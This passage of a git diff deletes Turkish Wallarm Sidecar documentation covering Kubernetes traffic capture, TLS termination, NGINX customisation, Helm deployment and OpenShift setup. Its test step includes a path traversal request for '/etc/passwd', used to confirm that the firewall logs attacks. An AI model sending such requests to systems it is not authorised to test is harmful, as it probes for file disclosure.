Wallarm denetleyicisi bu değeri kullanır. -1. `name: http` uygulama kapsayıcısı ayarında port tanımlıysa, Wallarm denetleyicisi bu değeri kullanır. -1. `name: http` ayarı altında port tanımlı değilse, Wallarm denetleyicisi uygulama kapsayıcısı ayarlarında ilk bulunan port değerini kullanır. -1. Uygulama kapsayıcısı ayarlarında hiç port tanımlı değilse, Wallarm denetleyicisi Wallarm Helm chart'ındaki `config.nginx.applicationPort` değerini kullanır. - -Uygulama kapsayıcısı portu otomatik keşfi beklendiği gibi çalışmıyorsa, portu 1. veya 4. seçeneği kullanarak açıkça belirtin. - -### Gelen trafiğin yakalanması (port yönlendirme) {#capturing-incoming-traffic-port-forwarding} - -Varsayılan olarak, Wallarm sidecar denetleyicisi trafiği aşağıdaki gibi yönlendirir: - -1. Bağlı Pod'un IP'sine ve uygulama kapsayıcısı portuna gelen trafiği yakalar. -1. Bu trafiği yerleşik iptables özelliklerini kullanarak sidecar kapsayıcısına yönlendirir. -1. Sidecar, kötü amaçlı istekleri engeller ve meşru trafiği uygulama kapsayıcısına iletir. - -Gelen trafik yakalama, otomatik port yönlendirme için en iyi uygulama olan iptables çalıştıran init kapsayıcı kullanılarak uygulanmıştır. Bu kapsayıcı ayrıcalıklı olarak, `NET_ADMIN` yeteneğiyle çalıştırılır. - -![iptables ile varsayılan port yönlendirme][port-forwarding-with-iptables-img] - -Ancak bu yaklaşım, Istio gibi servis mesh'leriyle uyumlu değildir çünkü Istio zaten iptables tabanlı trafik yakalama uygular. Bu durumda iptables'ı devre dışı bırakabilirsiniz ve port yönlendirme aşağıdaki gibi çalışacaktır: - -![iptables olmadan port yönlendirme][port-forwarding-without-iptables-img] - -!!! info "Korunmayan uygulama kapsayıcısı" - iptables devre dışı bırakılırsa, dışa açık bir uygulama kapsayıcısı Wallarm tarafından korunmayacaktır. Sonuç olarak, IP adresi ve portu bir saldırgan tarafından biliniyorsa, kötü amaçlı "doğu-batı" trafiği uygulama kapsayıcısına ulaşabilir. - - Doğu/batı trafiği, Kubernetes kümesi etrafında akan trafiktir (örn. servisler arası). - -Varsayılan davranışı şu şekilde değiştirebilirsiniz: - -1. iptables'ı şu yollarla devre dışı bırakın: - - * Genel olarak Helm chart değeri `config.injectionStrategy.iptablesEnable`ı `"false"` olarak ayarlayarak - * Pod bazında Pod annotation'ı `sidecar.wallarm.io/sidecar-injection-iptables-enable`ı `"false"` olarak ayarlayarak -2. Service manifestinizde `spec.ports.targetPort` ayarını `proxy` portunu gösterecek şekilde güncelleyin. - - iptables tabanlı trafik yakalama devre dışıysa, Wallarm sidecar kapsayıcısı `proxy` adlı bir port yayımlayacaktır. Gelen trafiğin Kubernetes servisinden `proxy` portuna gelmesi için, Service manifestinizdeki `spec.ports.targetPort` ayarı bu portu göstermelidir: - -```yaml hl_lines="16-17 34" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 ---- -apiVersion: v1 -kind: Service -metadata: - name: myapp-svc - namespace: default -spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp -``` - -### SSL/TLS sonlandırma - -Varsayılan olarak, Sidecar çözümü yalnızca HTTP trafiğini kabul eder ve düz HTTP trafiğini uygulama pod'larına iletir. SSL/TLS sonlandırmanın sidecar çözümünden önce konumlanan bir altyapı bileşeni (ör. Ingress/Application Gateway) tarafından gerçekleştirildiği varsayılır; bu, sidecar çözümünün düz HTTP'yi işlemesine olanak tanır. - -Bununla birlikte, mevcut altyapının SSL/TLS sonlandırmayı desteklemediği durumlar olabilir. Bu gibi durumlarda, SSL/TLS sonlandırmayı Wallarm sidecar düzeyinde etkinleştirebilirsiniz. Bu özellik Helm chart 4.6.1 sürümünden itibaren desteklenir. - -!!! warning "Sidecar çözümü ya SSL/TLS ya da düz HTTP trafiğini destekler" - Wallarm Sidecar çözümü ya SSL/TLS ya da düz HTTP trafiğini işler. SSL/TLS sonlandırmayı etkinleştirmek, sidecar çözümünün düz HTTP trafiğini işlemeyeceği; SSL/TLS sonlandırmayı devre dışı bırakmak ise yalnızca HTTPS trafiğinin işleneceği anlamına gelir. - -SSL/TLS sonlandırmayı etkinleştirmek için: - -1. Sidecar'ın SSL/TLS'yi sonlandıracağı sunucuya ait sunucu sertifikasını (genel anahtar) ve özel anahtarı edinin. -1. Uygulama podunun namespace'inde, sunucu sertifikası ve özel anahtarını içeren bir [TLS secret](https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets) oluşturun. -1. Secret'ı mount etmek için `values.yaml` dosyasına `config.profiles` bölümünü ekleyin. Aşağıdaki örnek, birden çok sertifika mount etme yapılandırmasını gösterir. - - İhtiyaçlarınıza uyacak şekilde yorumlara göre kodu özelleştirin. Yalnızca bir sertifikaya ihtiyacınız varsa gereksiz sertifika mount etme yapılandırmalarını kaldırın. - - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" # EU Cloud kullanıyorsanız boş string bırakın - # Diğer Wallarm ayarları https://docs.wallarm.com/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm/ - profiles: - tls-profile: # Buraya istenen herhangi bir TLS profil adını girin - sidecar: - volumeMounts: - - name: nginx-certs-example-com # example.com anahtarlarını içeren volume adı - mountPath: /etc/nginx/certs/example.com # example.com anahtarlarının kapsayıcıya mount edileceği yol - readOnly: true - - name: nginx-certs-example-io # example.io anahtarlarını içeren volume adı - mountPath: /etc/nginx/certs/example.io # example.io anahtarlarının kapsayıcıya mount edileceği yol - readOnly: true - volumes: - - name: nginx-certs-example-com # example.com anahtarlarını içeren volume adı - secret: - secretName: example-com-certs # example.com backend'i için oluşturulmuş, genel ve özel anahtarları içeren secret adı - - name: nginx-certs-example-io # example.io anahtarlarını içeren volume adı - secret: - secretName: example-io-certs # example.io backend'i için oluşturulmuş, genel ve özel anahtarları içeren secret adı - nginx: - # TLS/SSL sonlandırma prosedürünüze özgü NGINX SSL modülü yapılandırması. - # Bkz. https://nginx.org/en/docs/http/ngx_http_ssl_module.html. - # Sidecar'ın trafik sonlandırması yapabilmesi için bu yapılandırma gereklidir. - servers: - - listen: "ssl http2" - include: - - "server_name example.com www.example.com" - - "ssl_protocols TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.com/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.com/tls.key" - - "ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384" - - "ssl_conf_command Ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256" - - listen: "ssl" - include: - - "server_name example.io www.example.io" - - "ssl_protocols TLSv1.2 TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.io/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.io/tls.key" - ``` -1. `values.yaml` içindeki değişiklikleri aşağıdaki komutla Sidecar çözümüne uygulayın: - - ```bash - helm upgrade wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f values.yaml - ``` -1. Uygulama poduna `sidecar.wallarm.io/profile: tls-profile` annotation'ını [uygulayın](pod-annotations.md#how-to-use-annotations). -1. Yapılandırma uygulandıktan sonra, [buradaki](deployment.md#step-4-test-the-wallarm-sidecar-operation) adımları izleyerek, HTTP yerine HTTPS protokolünü kullanıp çözümü test edebilirsiniz. - -Sidecar çözümü TLS/SSL trafiğini kabul edecek, sonlandıracak ve düz HTTP trafiğini uygulama poduna iletecektir. - -### Admission webhook için sertifikalar - -4.10.7 sürümünden başlayarak, admission webhook için kendi sertifikalarınızı çıkarma ve kullanma seçeneğiniz vardır. - -Varsayılan olarak, çözüm admission webhook sertifikalarını [`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen) kullanarak otomatik olarak üretir. - -Kendi sertifikalarınızı kullanmak için aşağıdaki seçenekler mevcuttur: - -* cert-manager kullanma: Kümenizde [`cert-manager`](https://cert-manager.io/) kullanıyorsanız ve admission webhook sertifikasını üretmek için onu tercih ediyorsanız, `values.yaml` dosyanızı aşağıdaki gibi güncelleyin. - - Bu, `certgen`i otomatik olarak devre dışı bırakacaktır. - - ```yaml - controller: - admissionWebhook: - certManager: - enabled: true - ``` -* Manuel sertifika yükleme: Aşağıdaki yapılandırmayı `values.yaml` dosyasına ekleyerek sertifikaları manuel olarak yükleyebilirsiniz. Bu, `certgen`i otomatik olarak devre dışı bırakacaktır. - - ```yaml - controller: - admissionWebhook: - secret: - enabled: true - ca: - crt: - key: - ``` - -4.10.6 veya öncesi sürümden yükseltiyorsanız lütfen [özel yükseltme talimatlarını][sidecar-upgrade-docs] izleyin. Bu güncelleme, çözümün yeniden kurulmasını gerektiren kırıcı bir değişiklik içerir. - -### Ek NGINX modüllerini etkinleştirme - -Wallarm sidecar'ın Docker imajı, varsayılan olarak devre dışı bırakılmış aşağıdaki ek NGINX modülleri ile dağıtılır: - -* [ngx_http_brotli_filter_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_brotli_static_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_geoip2_module.so](https://github.com/leev/ngx_http_geoip2_module) - -Ek modülleri yalnızca pod bazında Pod annotation'ı `sidecar.wallarm.io/nginx-extra-modules` ayarlanarak etkinleştirebilirsiniz. - -Annotation değerinin formatı bir dizidir. Ek modüllerin etkin olduğu örnek: - -```yaml hl_lines="16-17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/nginx-extra-modules: "['ngx_http_brotli_filter_module.so','ngx_http_brotli_static_module.so', 'ngx_http_opentracing_module.so']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Özel NGINX yapılandırmasının kullanılması {#using-custom-nginx-configuration} - -Bazı NGINX ayarları için özel [pod annotation'ları](pod-annotations.md) yoksa, bunları pod bazında **snippet** ve **include** aracılığıyla belirtebilirsiniz. - -#### Snippet - -Snippet'ler, NGINX yapılandırmasına tek satırlık değişiklikler eklemenin uygun bir yoludur. Daha karmaşık değişiklikler için [include](#include) önerilen seçenektir. - -Özel ayarları snippet'lerle belirtmek için aşağıdaki pod bazlı annotation'ları kullanın: - -| NGINX config bölümü | Annotation | -|----------------------|---------------------------------------------| -| http | `sidecar.wallarm.io/nginx-http-snippet` | -| server | `sidecar.wallarm.io/nginx-server-snippet` | -| location | `sidecar.wallarm.io/nginx-location-snippet` | - -[`disable_acl`][disable-acl-directive-docs] NGINX yönergesi değerini değiştiren annotation örneği: - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/nginx-location-snippet: "disable_acl on" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -Birden fazla yönerge belirtmek için `;` sembolünü kullanın, örn.: - -```yaml -sidecar.wallarm.io/nginx-location-snippet: "disable_acl on;wallarm_timeslice 10" -``` - -#### İçerme (Include) {#include} - -Ek bir NGINX yapılandırma dosyasını Wallarm sidecar kapsayıcısına mount etmek için bu dosyadan [ConfigMap oluşturabilir](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) veya [Secret kaynağı](https://kubernetes.io/docs/concepts/configuration/secret/#creating-a-secret) oluşturabilir ve kapsayıcıda oluşturulan kaynağı kullanabilirsiniz. - -ConfigMap veya Secret kaynağı oluşturulduktan sonra, aşağıdaki pod bazlı annotation'ları kullanarak [Volume ve VolumeMounts bileşenleri](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap) üzerinden kapsayıcıya mount edebilirsiniz: - -| Öğe | Annotation | Değer tipi | -|---------------|------------------------------------------------|-------------| -| Volumes | `sidecar.wallarm.io/proxy-extra-volumes` | JSON | -| Volume mounts | `sidecar.wallarm.io/proxy-extra-volume-mounts` | JSON | - -Kaynak kapsayıcıya mount edildikten sonra, ilgili annotation'da mount edilen dosyanın yolunu geçerek NGINX bağlamını belirtin: - -| NGINX config bölümü | Annotation | Değer tipi | -|----------------------|---------------------------------------------|------------| -| http | `sidecar.wallarm.io/nginx-http-include` | Dizi | -| server | `sidecar.wallarm.io/nginx-server-include` | Dizi | -| location | `sidecar.wallarm.io/nginx-location-include` | Dizi | - -Aşağıda, NGINX yapılandırmasının `http` seviyesine include edilen, mount edilmiş yapılandırma dosyasının bulunduğu bir örnek verilmiştir. Bu örnek, `nginx-http-include-cm` ConfigMap'inin önceden oluşturulduğunu ve geçerli NGINX yapılandırma yönergeleri içerdiğini varsayar. - -```yaml hl_lines="16-19" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-extra-volumes: '[{"name": "nginx-http-extra-config", "configMap": {"name": "nginx-http-include-cm"}}]' - sidecar.wallarm.io/proxy-extra-volume-mounts: '[{"name": "nginx-http-extra-config", "mountPath": "/nginx_include/http.conf", "subPath": "http.conf"}]' - sidecar.wallarm.io/nginx-http-include: "['/nginx_include/http.conf']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Wallarm özelliklerini yapılandırma - -Listelenen genel çözüm ayarlarına ek olarak, [Wallarm ile saldırı önleme için en iyi uygulamaları][wallarm-attack-prevention-best-practices-docs] da öğrenmenizi öneririz. - -Bu yapılandırma [annotation'lar](pod-annotations.md) ve Wallarm Console UI aracılığıyla gerçekleştirilir. - -## Annotation'lar ile diğer yapılandırmalar - -Listelenen yapılandırma kullanım senaryolarına ek olarak, birçok başka annotation kullanarak Wallarm sidecar çözümünü uygulama pod'ları için ince ayar yapabilirsiniz. - -[Desteklenen pod bazlı annotation'ların listesi burada](pod-annotations.md) \ No newline at end of file diff --git a/docs/latest-tr/installation/kubernetes/sidecar-proxy/deployment.md b/docs/latest-tr/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 3adad04b95..0000000000 --- a/docs/latest-tr/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,438 +0,0 @@ -# Wallarm Sidecar'ı Dağıtma - -Kubernetes kümesinde Pod olarak dağıtılmış bir uygulamayı güvenceye almak için, uygulamanın önünde sidecar denetleyicisi olarak NGINX tabanlı Wallarm düğümünü çalıştırabilirsiniz. Wallarm sidecar denetleyicisi, uygulama Pod'una gelen trafiği filtreleyerek yalnızca meşru istekleri kabul eder ve kötü niyetli olanları sınırlar. - -Wallarm Sidecar çözümünün ana özellikleri: - -* Uygulamalara benzer bir dağıtım formatı sağlayarak ayrık mikro hizmetlerin ve bunların replikalarının ve shard'larının korunmasını basitleştirir -* Herhangi bir Ingress controller ile tamamen uyumludur -* Genellikle service mesh yaklaşımı için yaygın olan yüksek yükler altında kararlı çalışır -* Uygulamalarınızı güvenceye almak için minimum hizmet yapılandırması gerektirir; korumak istediğiniz uygulama pod'una yalnızca bazı açıklamalar (annotations) ve etiketler ekleyin -* Wallarm konteyner dağıtımının iki modunu destekler: Wallarm servislerinin tek konteynerde çalıştığı orta yükler ve Wallarm servislerinin birkaç konteynere bölündüğü yüksek yükler için -* Wallarm sidecar çözümü için yerel veri analitiği arka ucu olan ve belleğin çoğunu tüketen postanalytics modülü için özel bir varlık sağlar - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri][deployment-platform-docs] arasında, bu çözüm aşağıdaki kullanım senaryoları için önerilir: - -* Mevcut Ingress controller'lı (ör. AWS ALB Ingress Controller) altyapıya dağıtılacak bir güvenlik çözümü arıyorsunuz ve bu durum [Wallarm NGINX tabanlı Ingress Controller][nginx-ing-controller-docs] veya [Kong Ingress controller için Wallarm bağlayıcı][kong-ing-controller-docs] dağıtımını engelliyor -* Her mikro hizmetin (dahili API'ler dahil) güvenlik çözümüyle korunmasını gerektiren sıfır güven (zero-trust) ortamı - -## Trafik akışı - -Wallarm Sidecar ile trafik akışı: - -![Wallarm Sidecar ile trafik akışı][traffic-flow-with-wallarm-sidecar-img] - -## Çözüm mimarisi - -Wallarm Sidecar çözümü aşağıdaki Deployment nesneleriyle düzenlenir: - -* Sidecar controller (`wallarm-sidecar-controller`), Pod'a Wallarm sidecar kaynaklarını enjekte eden, onu Helm chart değerleri ve pod açıklamalarına göre yapılandıran ve düğüm bileşenlerini Wallarm Cloud'a bağlayan [mutating admission webhook'tur](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#admission-webhooks). - - Kubernetes'te `wallarm-sidecar: enabled` etiketi bulunan yeni bir pod başlatıldığında, denetleyici gelen trafiği filtreleyen ek konteyneri otomatik olarak pod'a enjekte eder. -* Postanalytics modülü (`wallarm-sidecar-postanalytics`), Wallarm sidecar çözümü için yerel veri analitiği arka ucudur. Modül, bellek içi depolama wstore'u ve saldırı dışa aktarma servisleri gibi bazı yardımcı konteynerleri kullanır. - -![Wallarm dağıtım nesneleri][sidecar-deployment-objects-img] - -Wallarm Sidecar'ın yaşam döngüsünde 2 standart aşama vardır: - -1. Başlangıç aşamasında, denetleyici Wallarm sidecar kaynaklarını Pod'a enjekte eder, onu Helm chart değerleri ve pod açıklamalarına göre yapılandırır ve düğüm bileşenlerini Wallarm Cloud'a bağlar. -1. Çalışma zamanında, çözüm postanalytics modülünü kullanarak istekleri analiz eder ve proxy'ler/iletir. - -Çözüm, Alpine Linux ve Alpine'in sağladığı NGINX sürümüne dayalı Docker imajlarını kullanır. Şu anda en yeni imajlar, NGINX kararlı sürüm 1.28.0'ı içeren Alpine Linux sürüm 3.22'yi kullanmaktadır. - -## Gereksinimler - ---8<-- "../include/waf/installation/sidecar-proxy-reqs-latest.md" - -## Dağıtım - -Wallarm Sidecar çözümünü dağıtmak için: - -1. Bir filtreleme düğümü belirteci (token) oluşturun. -1. Wallarm Helm chart'ını dağıtın. -1. Wallarm Sidecar'ı uygulama Pod'una ekleyin. -1. Wallarm Sidecar çalışmasını test edin. - -### Adım 1: Bir filtreleme düğümü belirteci oluşturun - -Sidecar pod'larını Wallarm Cloud'a bağlamak için [uygun türde][node-token-types] bir filtreleme düğümü belirteci oluşturun: - -=== "API token" - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API token'ı bulun veya oluşturun. - 1. Bu token'ı kopyalayın. -=== "Node token" - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. **Wallarm node** türünde bir filtreleme düğümü oluşturun ve üretilen token'ı kopyalayın. - - ![Bir Wallarm düğümünün oluşturulması][create-wallarm-node-img] - -### Adım 2: Wallarm Helm chart'ını dağıtın - -1. [Wallarm chart deposunu](https://charts.wallarm.com/) ekleyin: - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` -1. [Wallarm Sidecar yapılandırmasını](customization.md) içeren `values.yaml` dosyasını oluşturun. Minimum yapılandırmaya sahip dosya örneği aşağıdadır. - - API token kullanırken, `nodeGroup` parametresinde bir düğüm grup adı belirtin. Sidecar pod'ları için oluşturulan düğümleriniz, Wallarm Console'un **Nodes** bölümünde gösterilen bu gruba atanacaktır. Varsayılan grup adı `defaultSidecarGroup`'tur. Gerekirse, daha sonra korudukları uygulamaların pod'ları için [`sidecar.wallarm.io/wallarm-node-group`](pod-annotations.md#wallarm-node-group) açıklamasını kullanarak filtreleme düğümü grup adlarını pod bazında ayrı ayrı ayarlayabilirsiniz. - - === "US Cloud" - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" - # nodeGroup: "defaultSidecarGroup" - ``` - === "EU Cloud" - ```yaml - config: - wallarm: - api: - token: "" - # nodeGroup: "defaultSidecarGroup" - ``` - - ``, Kubernetes'te çalışacak Wallarm düğümünün token'ıdır. - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. Wallarm Helm chart'ını dağıtın: - - ``` bash - helm install --version 6.5.1 wallarm/wallarm-sidecar --wait -n wallarm-sidecar --create-namespace -f - ``` - - * ``, Wallarm Sidecar chart'ının Helm sürüm adı - * `wallarm-sidecar`, Wallarm Sidecar chart'ının Helm sürümünün dağıtılacağı yeni ad alanı; ayrı bir ad alanına dağıtılması önerilir - * ``, `values.yaml` dosyasının yolu - -### Adım 3: Wallarm Sidecar'ı uygulama Pod'una ekleyin - -Wallarm'ın uygulama trafiğini filtrelemesi için, ilgili uygulama Pod'una `wallarm-sidecar: enabled` etiketini ekleyin: - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="15" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -* `wallarm-sidecar` uygulama Pod etiketi `disabled` olarak ayarlanmışsa veya açıkça belirtilmemişse, Wallarm Sidecar konteyneri bir pod'a enjekte edilmez ve dolayısıyla Wallarm trafiği filtrelemez. -* `wallarm-sidecar` uygulama Pod etiketi `enabled` olarak ayarlanmışsa, Wallarm Sidecar konteyneri bir pod'a enjekte edilir ve dolayısıyla Wallarm gelen trafiği filtreler. - -### Adım 4: Wallarm Sidecar çalışmasını test edin - -Wallarm Sidecar'ın doğru çalıştığını test etmek için: - -1. Başarıyla başlatıldığını kontrol etmek üzere Wallarm kontrol düzlemi ayrıntılarını alın: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - Her pod aşağıdakileri göstermelidir: **READY: N/N** ve **STATUS: Running**, ör.: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 3/3 Running 0 91m - ``` -1. Wallarm sidecar konteynerinin başarıyla enjekte edildiğini kontrol etmek için uygulama pod ayrıntılarını alın: - - ```bash - kubectl get pods -n --selector app= - ``` - - Çıktı, başarılı sidecar konteyner enjeksiyonunu gösteren **READY: 2/2** ve Wallarm Cloud'a başarılı bağlantıyı gösteren **STATUS: Running** içermelidir: - - ``` - NAME READY STATUS RESTARTS AGE - myapp-5c48c97b66-lzkwf 2/2 Running 0 3h4m - ``` -1. Wallarm'ın trafiği filtrelemek üzere etkin olduğu uygulama kümesi adresine test amaçlı bir [Path Traversal][ptrav-attack-docs] saldırısı gönderin: - - ```bash - curl http:///etc/passwd - ``` - - Wallarm proxy varsayılan olarak **monitoring** [filtreleme modunda][filtration-mode-docs] çalıştığından, Wallarm düğümü saldırıyı engellemeyecek ancak kaydedecektir. - - Saldırının kaydedildiğini kontrol etmek için Wallarm Console → **Attacks** bölümüne gidin: - - ![Arayüzde Attacks][attacks-in-ui-image] - -## ARM64 dağıtımı - -Sidecar proxy'nin Helm chart sürümü 4.10.2 ile ARM64 işlemci uyumluluğu sunulmuştur. Başlangıçta x86 mimarileri için ayarlanmış olan dağıtım, ARM64 düğümlerinde Helm chart parametrelerinin değiştirilmesini gerektirir. - -ARM64 ayarlarında, Kubernetes düğümleri genellikle `arm64` etiketi taşır. Kubernetes zamanlayıcısının Wallarm iş yükünü uygun düğüm türüne atamasına yardımcı olmak için bu etikete Wallarm Helm chart yapılandırmasında `nodeSelector`, `tolerations` veya affinity kuralları kullanılarak referans verin. - -Aşağıda, ilgili düğümler için `kubernetes.io/arch: arm64` etiketini kullanan Google Kubernetes Engine (GKE) için Wallarm Helm chart örneği bulunmaktadır. Bu şablon, kendi ARM64 etiketleme kurallarına saygı göstererek diğer bulut yapılandırmalarıyla uyum için değiştirilebilir. - -=== "nodeSelector" - ```yaml - config: - wallarm: - api: - token: "" - # API token kullanıyorsanız, aşağıdaki satırın yorum işaretini kaldırın ve düğüm grup adınızı belirtin - # nodeGroup: "defaultSidecarGroup" - postanalytics: - nodeSelector: - kubernetes.io/arch: arm64 - controller: - nodeSelector: - kubernetes.io/arch: arm64 - ``` -=== "tolerations" - ```yaml - config: - wallarm: - api: - token: "" - # API token kullanıyorsanız, aşağıdaki satırın yorum işaretini kaldırın ve düğüm grup adınızı belirtin - # nodeGroup: "defaultSidecarGroup" - postanalytics: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - controller: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - ``` - -## OpenShift'te Security Context Constraints (SCC) - -Sidecar çözümünü OpenShift üzerinde dağıtırken, platformun güvenlik gereksinimlerine uygun özel bir Security Context Constraint (SCC) tanımlamak gerekir. Varsayılan kısıtlamalar Wallarm çözümü için yetersiz olabilir ve hatalara yol açabilir. - -Aşağıda, OpenShift'e uyarlanmış Wallarm Sidecar çözümü için önerilen özel SCC bulunmaktadır. Bu yapılandırma, [iptables](customization.md#capturing-incoming-traffic-port-forwarding) kullanılmadan ayrıcalıksız modda çözümü çalıştırmak için tasarlanmıştır. - -!!! warning "Sidecar'ı dağıtmadan önce SCC'yi uygulayın" - SCC'nin Wallarm Sidecar çözümünü dağıtmadan önce uygulanmış olduğundan emin olun. - -1. Özel SCC'yi aşağıdaki gibi `wallarm-scc.yaml` dosyasında tanımlayın: - - ```yaml - allowHostDirVolumePlugin: false - allowHostIPC: false - allowHostNetwork: false - allowHostPID: false - allowHostPorts: false - allowPrivilegeEscalation: false - allowPrivilegedContainer: false - allowedCapabilities: - - NET_BIND_SERVICE - apiVersion: security.openshift.io/v1 - defaultAddCapabilities: null - fsGroup: - type: MustRunAs - groups: [] - kind: SecurityContextConstraints - metadata: - annotations: - kubernetes.io/description: wallarm-sidecar-deployment - name: wallarm-sidecar-deployment - priority: null - readOnlyRootFilesystem: false - requiredDropCapabilities: - - ALL - runAsUser: - type: MustRunAsRange - uidRangeMin: 101 - uidRangeMax: 65532 - seLinuxContext: - type: MustRunAs - seccompProfiles: - - runtime/default - supplementalGroups: - type: RunAsAny - users: [] - volumes: - - configMap - - emptyDir - - secret - ``` -1. Bu politikayı kümeye uygulayın: - - ``` - kubectl apply -f wallarm-scc.yaml - ``` -1. Sidecar'ın dağıtılacağı bir Kubernetes ad alanı oluşturun, ör.: - - ```bash - kubectl create namespace wallarm-sidecar - ``` -1. Wallarm Sidecar iş yüklerinin SCC politikasını kullanmasına izin verin: - - ```bash - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z -wallarm-sidecar-postanalytics -n wallarm-sidecar - - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z -wallarm-sidecar-admission -n wallarm-sidecar - ``` - - * ``: `helm install` sırasında kullanacağınız Helm sürüm adı. - - !!! warning "`wallarm-sidecar` sürüm adında geçiyorsa" - Sürüm adı `wallarm-sidecar` içeriyorsa, bunu servis hesabı adlarından çıkarın. - - Hesap adları `wallarm-sidecar-postanalytics` ve `wallarm-sidecar-admission` olacaktır. - - * `-n wallarm-sidecar`: Sidecar'ın dağıtılacağı ad alanı (yukarıda oluşturuldu). - - Örneğin, ad alanı `wallarm-sidecar` ve Helm sürüm adı `wlrm-sidecar` ise: - - ```bash - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z wlrm-sidecar-wallarm-sidecar-postanalytics -n wallarm-sidecar - - oc adm policy add-scc-to-user wallarm-sidecar-deployment \ - -z wlrm-sidecar-wallarm-sidecar-admission -n wallarm-sidecar - ``` -1. Yukarıda belirtilen ad alanını ve Helm sürüm adını kullanarak [Wallarm Sidecar'ı dağıtın](#deployment). -1. Ayrıcalıklı iptables konteyneri çalıştırmaktan kaçınmak için iptables kullanımını [devre dışı bırakın](customization.md#capturing-incoming-traffic-port-forwarding). Bu, `values.yaml` içinde global olarak veya anotasyonlar aracılığıyla pod bazında yapılabilir. - - === "iptables'ı `values.yaml` üzerinden devre dışı bırakma" - 1. `values.yaml` içinde `config.injectionStrategy.iptablesEnable` değerini `false` olarak ayarlayın. - - ```yaml - config: - injectionStrategy: - iptablesEnable: false - wallarm: - api: - ... - ``` - 1. Uygulamanızın Service manifest'inde `spec.ports.targetPort` değerini `proxy` olarak ayarlayın. iptables devre dışıyken, Sidecar bu portu açığa çıkarır. - - ```yaml hl_lines="9" - apiVersion: v1 - kind: Service - metadata: - name: myapp-svc - namespace: default - spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp - ``` - - Uygulamayı bir OpenShift Route üzerinden yayımlarken, `spec.ports.targetPort` değerini `26001` olarak ayarlayın. - === "Pod anotasyonu ile iptables'ı devre dışı bırakma" - 1. Pod'un açıklamasında `sidecar.wallarm.io/sidecar-injection-iptables-enable` anahtarını `"false"` olarak ayarlayarak iptables'ı pod bazında devre dışı bırakın. - 1. Uygulamanızın Service manifest'inde `spec.ports.targetPort` değerini `proxy` olarak ayarlayın. iptables devre dışıyken, Sidecar bu portu açığa çıkarır. - 